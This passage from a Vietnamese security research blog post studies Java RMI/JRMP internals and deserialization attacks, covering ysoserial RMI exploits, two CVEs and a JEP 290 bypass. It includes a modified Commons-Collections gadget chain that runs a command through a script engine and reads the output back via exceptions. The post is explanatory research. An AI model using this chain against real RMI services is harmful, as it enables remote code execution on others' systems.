TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)<br>run:-1, 310334923 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)<br>doPrivileged:-1, AccessController (java.security)<br>run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)<br>runWorker:1149, ThreadPoolExecutor (java.util.concurrent)<br>run:624, ThreadPoolExecutor$Worker (java.util.concurrent)<br>run:748, Thread (java.lang)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/0*UYH4NvnoZ8mIHBFo.png" /></figure><p>Ở lớp transport thì chúng ta thấy rõ phía server-side xử lý như thế nào với các field magic,version và protocol. Như ở đây thì sẽ có 2 magic value, magic value thứ nhất sẽ nhảy vào nhánh RMI over HTTP, nhánh 2 sẽ là RMI protocol thuần. Version thì chỉ có một value là 2. Còn protocol sẽ tương ứng như hình sau</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/424/0*T7Pj9fd187IWMpp9.png" /></figure><p>Như ở phía trên, khi client muốn thực hiện remote call thì phải tạo một StreamRemoteCall với procotol value là 80.</p><pre>dispatch:298, UnicastServerRef (sun.rmi.server)<br>run:200, Transport$1 (sun.rmi.transport)<br>run:197, Transport$1 (sun.rmi.transport)<br>doPrivileged:-1, AccessController (java.security)<br>serviceCall:196, Transport (sun.rmi.transport)<br>handleMessages:573, TCPTransport (sun.rmi.transport.tcp)<br>run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)<br>lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)<br>run:-1, 310334923 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)<br>doPrivileged:-1, AccessController (java.security)<br>run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)<br>runWorker:1149, ThreadPoolExecutor (java.util.concurrent)<br>run:624, ThreadPoolExecutor$Worker (java.util.concurrent)<br>run:748, Thread (java.lang)</pre><p>Khi protocol value 75, như bạn sẽ thấy, chúng ta sẽ nhảy vào serviceCall() của Class Transport.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/0*xDurIe0r3HHXCzpR.png" /><figcaption>Server sẽ get Dispatcher tương ứng với các ObjID khác nhau</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/0*rzuQUlYpc6pYJM6O.png" /></figure><p>num và hash field cũng được read từ Stream, sau đó tương ứng với từng hash sẽ get ra Method từ một Map, tiếp đến là unmarshalParameters (deserialize) những args kèm theo với Method đó. Như vậy thì đã xong quá trình reverse lại JRMP protocol để hiểu rõ hơn. Tiếp đến sẽ tùy từng case cụ thể, context, env như thế nào mà mình đã phân tích học được.</p><p><strong>Past Exploits</strong></p><p>Trước đây, từ lúc Java Deserialization bắt đầu bùng nổ thì những researchers khác cũng bắt đầu research và có những exploit với RMI. Cụ thể như là các chain:</p><ol><li><strong>java.rmi.server.useCodebaseOnly property</strong></li></ol><ul><li>Mình không chắc đây có phải là một exploit chain hay không, property java.rmi.server.useCodebaseOnly của JDK được enable default sau JDK 7u21</li><li>property này cho phép server-side khi deserialize một Object nhưng không tồn tại trong classpath có thể thực hiện remote classloading. Tức có nghĩa load Java Byte Code từ site của attacker và recover lại Object đó. Và bạn biết rồi đó quá trình này có thể giúp attacker thực hiện những đoạn “malicious code” :)</li><li>Đây cũng là một solution cho bài CTF thứ nhất mình đề cập về RMI</li></ul><p>2. <strong>Registry exploit của mbechler</strong></p><ul><li>Chain này exploit vào method bind() của Registry khi không validate từ client-side, dẫn đến client có thể bind một malicicous object sau đó phía server-side sẽ deserialize object này (unmarshalParameters).</li><li>Chain: <a href="https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/RMIRegistryExploit.java">https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/RMIRegistryExploit.java</a></li><li>Đây cũng là solution thứ hai của bài CTF thứ nhất mình để cập</li><li>Tuy nhiên attack vector bị limit từ jdk version 8u121, sau khi có JEP 290</li><li>JEP 290 là gì thì các bạn có thể tìm hiểu qua link sau: <a href="https://openjdk.java.net/jeps/290">https://openjdk.java.net/jeps/290</a></li><li>Từ JEP 290 thì trong config của JDK cũng có sẵn một whitelist dành cho RMI Registry</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/0*yR1xeqayjUd1i3qm.png" /><figcaption>JDK_PATH\jdk1.8.0_201\jre\lib\security\java.security</figcaption></figure><p>3. <strong>JRMPClient của mbechler</strong></p><ul><li>Chain này nhằm vào DGC service mà mình đã đề cập ban đầu, các bạn có thể trace và debug như quá trình mình phân tích method lookup() của Registry phía trên để hiểu rõ hơn ở step nào thì attacker có thể chèn một malicious Object trong lúc thực hiện JRMP call đến DGC server</li><li>Chain: <a href="https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPClient.java">https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPClient.java</a></li><li>Chain này cũng bị filter từ jdk version 8u121</li><li>Từ sau JEP 290 thì jdk cũng có whitelist dành cho DGC</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/0*a6zQsQf_KxsYgHZ8.png" /></figure><p>4. <strong>JRMPListener của mbechler</strong></p><ul><li>Chain này đại loại như giả lập một DGC server mà attacker đã control sẵn, mục tiêu là làm cách nào đó chúng ta khiến target có thể tạo một JRMP call tới Listener của chúng ta</li><li>Như chúng ta đã phân tích về JRMP, thì có thể thấy ở method StreamRemoteCall.excuteCall(), sau khi releaseOutputStream() (hoàn thành quá trình encode và đẩy packet lên server), sau đó sẽ read một byte, nếu value đó là 2 thì tiếp tục thực hiện readObject() -&gt; Java Deserialize Sink</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/0*8q9VUulipxHOohlC.png" /></figure><ul><li>Thế nên ra đời một version custom gọi là JRMPListener mục tiêu là chuyển server-side thành client-side và khiến target connect tới JRMPListener và send back một malicious Object cho target để Deserialize</li><li>Chain: <a href="https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPListener.java">https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPListener.java</a></li><li>Vậy thì làm như thế nào để chuyển server-side thành client-side và call JRMP tới attacker JRMPListener ?</li><li>idea sau xuất phát từ bài blog của codewhitesec: <a href="https://codewhitesec.blogspot.com/2017/04/amf.html">https://codewhitesec.blogspot.com/2017/04/amf.html</a></li><li>Ngoài sink là readObject() thì khi phân tích Java Deserialization thì bạn có thể còn thấy như readExternal(), về điểm này thì mình khuyên các bạn nên thử debug và phân tích internal khi readObject thì JDK xử lý như thế nào. Ở đây thì trong quá trình recover lại một Object qua ObjectInputStream.readObject() thì JDK sẽ check thử xem class mà đang recover implement Serializable (tức có thể overide method readObject()), hoặc implement Externalizable (tức có thế overide method readExternal())</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/0*5tE-A9UziBqWmcKb.png" /></figure><p>như ở nhánh readSerialData thì JDK sẽ cố gắng excute method readObject() mà class đó có overide, đây cũng là điểm mà dẫn đến khái niệm gadget chain. Hoặc ở nhánh còn lại cố gắng excute method readExternal()</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/0*URyaSvdNNAlwfa1I.png" /></figure><ul><li>Turning readExternal() to readObject() ? (bạn đọc hãy đọc bài viết gốc của codewhitesec để hiểu rõ ý tưởng hơn)</li><li>Stacktrace</li></ul><pre>makeDirtyCall:377, DGCClient$EndpointEntry (sun.rmi.transport)<br>registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport)<br>registerRefs:156, DGCClient (sun.rmi.transport)<br>read:312, LiveRef (sun.rmi.transport)<br>readExternal:493, UnicastRef (sun.rmi.server)<br>readExternalData:1849, ObjectInputStream (java.io)<br>readOrdinaryObject:1806, ObjectInputStream (java.io)<br>readObject0:1353, ObjectInputStream (java.io)<br>readObject:373, ObjectInputStream (java.io)<br>deserialize:37, JRMPClient (it.polictf.lamermi)<br>main:13, JRMPClient (it.polictf.lamermi)</pre><ul><li>Tóm tắt lại thì deserialize một Object UnicastRef thì class này sẽ cố gắng call dirtyCall() tới DGC server. Đến đây thì chain có thể hoàn chỉnh, có thể turn server-side thành client-side và archive Deserialization</li><li>Class UnicastRef này nằm trong whitelist nên có thể bypass JEP 290</li></ul><p><strong>Antp’s Work Analysis</strong></p><p>Trước khi đi đến phần bài talk của Antp thì mình muốn nói một tý về quá trình mình tìm hiểu và dựng lại chain trên. Trước khi làm chain của Antp thì mình làm case chuyển server-side thành client-side trước và mình cố gắng kế hợp nhưng bug khác để hiểu rõ hơn, như là</p><p><strong>CVE-2019–2684</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/0*8ClEifaXWB-EULDD.png" /></figure><p>Attack vector này giúp chúng ta không nhảy vào oldDispatch() nếu như var3 &lt; 0. Mình không rõ từ jdk version nào thì RegistryImpl_Skel.dispatch() method bind check thêm là client chỉ có thể bind từ các local interface</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/0*kOiu7hXeT867Pp53.png" /></figure><p><strong>CVE-2018–2800</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/0*x7tzVxYcloTYyStA.png" /></figure><p>Như ở phần phân tích JRMP protocol thì var6 ở đây là magic field, chúng ta có thể custom lại client và lợi dụng feature HTTP over RMI để bypass checkAcess. Một case rất cụ thể trong slide của Antp đó là Registry Rebinding.</p><p>Tuy rằng 2 cái CVE trên không liên quan nhiều đến phần phân tích chain của Antp nhưng qua đó mình muốn nói rằng, khi bạn đã có một cái view chuẩn, hiểu rõ thứ mà mình đang làm thì sẽ dễ dàng và luồng suy nghĩ bạn sẽ rộng ra rất nhiều. Chẳng hạn nếu chỉ focus vào sink readObject trong RMI thì bạn sẽ chỉ tìm cách bypass JEP 290 và tìm một chain mới, bạn sẽ không thể biết thêm JRMP protocol hoạt động như thế nào, dispatch như thế nào, không thể biết rằng JDK có enable RMI over HTTP, … Đây là một cách làm mà mình cảm giác rất hay từ Antp và chỉ khi bạn bỏ thời gian đọc slide thì mới cảm nhận được cách làm cũng như suy nghĩ của những người khác truyền đạt !</p><p>Phải thừa nhận lúc làm mình chưa hiểu thật rõ nhiều khía cạnh của chain này, mình lại suy nghĩ theo chain UnicastRef, và thực sự chain này vẫn bypass được JEP 290 vì lý do Object Registry extends class Remote (và class Remote nằm trong whitelist)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/0*2NCoVTWyfzrB0C4x.png" /></figure><p>Tuy nhiên, chain này không thể read được return value bằng error base do bị catch lại ngay method DGCClient.makeDirtyCall() và không tiếp tục throw Exception. Chi tiết mình sẽ đề cập rõ hơn trong phần sau.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/0*TVQ88zbpLf-ipuj6.png" /></figure><p><strong>Antp Gadget + Error based to read return value</strong></p><p>Tưởng tượng xem ở một môi trường restricted network, không có DNS, ICMP, không có outbound, bạn chỉ có thể connect tới Registry port 1099, classpath có Common-Collections version 3.2.1 chẳng hạn, đủ điều kiện RCE rồi. Hết ! Dù jdk version nào nữa thì bạn vẫn cần một cách để đọc return value của cmd mà bạn đã execute. Right?</p><p>Env ở đây vẫn là ví dụ ban đầu và JDK version 8u201</p><p>Vậy thì làm thế nào có thể đọc return value bằng error base, classpath có Common Collection 3.2.1 ?</p><p>Ý tưởng đầu tiên, Dùng classloader load bytecode đã craft sẵn để recover lại Class và execute một method (exec cmd và return một Exception). Idea này mình fail ban đầu định dùng DefiningClassLoader.defineClass() tuy nhiên lib rhino lại trong có trong classpath. Mình cũng tìm một vòng jdk để xem có classloader nào khác được implement lại có cả constructor và method define với acess modifier là public hay không. Tuy nhiên mình cũng dừng lại sau vài cái search vì được <a href="https://medium.com/u/6ac51190917c?source=post_page-----f8cfaec07857----------------------">Jang</a> hướng dẫn idea thứ 2. Đó là dùng ScriptEngineManager để eval Java code.</p><p>Ở đây mình edit lại chain CC6 như sau</p><pre>final Transformer[] transformers = new Transformer[] {<br>    new ConstantTransformer(ScriptEngineManager.class),<br>    new InvokerTransformer(&quot;getConstructor&quot;,<br>        new Class[] {Class[].class },<br>        new Object[] {new Class[0] }),<br>    new InvokerTransformer(&quot;newInstance&quot;,<br>        new Class[] {Object[].class},<br>        new Object[] {new Object[0]}),<br>    new InvokerTransformer(&quot;getEngineByName&quot;,<br>        new Class[] { String.class},<br>        new Object[]{ &quot;JavaScript&quot;}),<br>    new InvokerTransformer(&quot;eval&quot;,<br>        new Class[] {String.class},<br>        new Object[] {payload}),<br>    new InvokerTransformer(&quot;toString&quot;,<br>        new Class[] {},<br>        new Object[] {})};</pre><p>Nếu như bạn có từng phân tích chain CC thì chắc có thể sẽ từng stuck vì chưa thêm return value, như ở các chain CC khác thì return value sẽ được set</p><pre>new ConstantTransformer(1)</pre><p>ở đây thì mình viết một payload exec cmd, return Exception với value là output của cmd đó, khi getEngineByName eval Java code thì mình gọi method toString để dump output của cmd ra</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fUxMeUwlnFQUQFi6.png" /></figure><p>và output cmd sẽ được map vào trong gadget CC6 dạng [“foo”: output_cmd]</p><p>Okay quay lại thì tại sao Chain của anh Antp có thể read được return value bằng error base?</p><p>Stacktrace chain</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hMq2eNWM5cSvi4dC.png" /></figure><p>Để hiểu rõ hơn thì <a href="https://mogwailabs.de/blog/2020/02/an-trinhs-rmi-registry-bypass/">mogwailabs</a> cũng có một bài phân tích về chain này</p><p>Ý tưởng chain này vẫn là chuyển server-side thành client-side, quay lại chỗ excuteCall() xem kĩ vì sao chúng ta có thể nhận được return value nhé !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/0*GVcVfPsA6G_TlCBe.png" /></figure><p>Đoạn này sau khi connect đến JRMPListener, Listener sẽ send lại một malicious Object cho server (bị chuyển thành client-side) để deserialize, và nếu Object này là instance của Exception thì server (bị chuyển thành client-side) có thể đọc được stacktrace này. Như lúc bạn mở ysoserial exploit RMIRegistryExploit chẳng hạn, nếu version jdk có JEP 290 thì bạn sẽ nhận lại về một stacktrace như sau, cơ chế này giúp bạn có thể đọc được stacktrace khi có Exception xảy ra khi remote call fail</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*N2_SQ612BeSQBtPB.png" /></figure><p>Nhưng nếu craft một object như BadAttributeValueExpException(HashMap(foo=[Transformer Chain])), thì sau quá trình deserialize thì vẫn thỏa mãn object sau khi Deserialize là instance của Exception nhưng đó chỉ là phía server-side nhận, còn để chuyển exception đó về cho attacker thì như thế nào?</p><p>Đây mới là cái hay trong chain của Antp, đó là proxy UnicastServerRef qua RemoteObjectInvocationHandler, thì trong quá trình deserialize UnicastRemoteObject, sẽ call method reexport(), … rồi đến exportObject()</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/0*3d4HX522wB6FdTga.png" /></figure><p>Do là UnicastServerRef đã được proxy qua RemoteObjectInvocationHandler, nên lúc này method exportObject() sẽ được qua method invokeRemoteMethod()</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/0*d2_lNwvJYM4lRBlu.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/0*0gks44f1SunBS5WZ.png" /></figure><p>Và từ đây sẽ JRMP call tới JRMPListener mà mình đã control sẵn bằng Java Reflection, khiến quá trình deserialize connect tới JRMPListener của attacker, để ý trong method invokeRemoteMethod này có catch lại Exception và throw ra. Và ở UnicastServerRef.dispatch() có đoạn catch như sau</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/0*yymYDwnbYX46rCFF.png" /></figure><p>Như đoạn code sau các bạn có thể thấy là Exception từ server được serialize và send về phía client để client nhận</p><p>Tóm lại flow sẽ như thế này</p><ul><li>Chain bypass JEP 290</li><li>UnicastServerRef.dispatch()</li><li>UnicastRemoteObject.readObject()</li><li>UnicastRemoteObject.reexport()</li><li>RemoteObjectInvocationHandler.invokeRemoteMethod()</li><li>make JRMPCall to JRMPListener</li><li>Deserialize BadAttributeValueExpException(HashMap(foo=[Transformer Chain])), return BadAttributeValueExpException(HashMap(foo=[output cmd])) -&gt; gọi object này là A</li><li>StreamRemoteCall.exceptionReceivedFromServer() -&gt; throw Object A</li><li>RemoteObjectInvocationHandler.invokeRemoteMethod() catch Exception -&gt; tiếp tục throw</li><li>UnicastServerRef catch Exception serialize Exception send back to server</li></ul><p>=&gt; full bypass JEP 290 + read output cmd via error based</p><p><strong>Kết</strong></p><p>Kết bằng một đoạn message mang lại rất nhiều inspired từ một anh nước ngoài và mình cũng muốn mang thông điệp này đến các người khác. Go ahead and keep working ! Have a nice weekend all !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/0*tYO5WuJFmUN92XwX.png" /><figcaption>thanks @_jsoo_</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=72bfd47275d9" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tradahacking/rmi-study-note-and-some-study-case-72bfd47275d9">[RMI] Study Note And Some Study Case</a> was originally published in <a href="https://medium.com/tradahacking">tradahacking</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>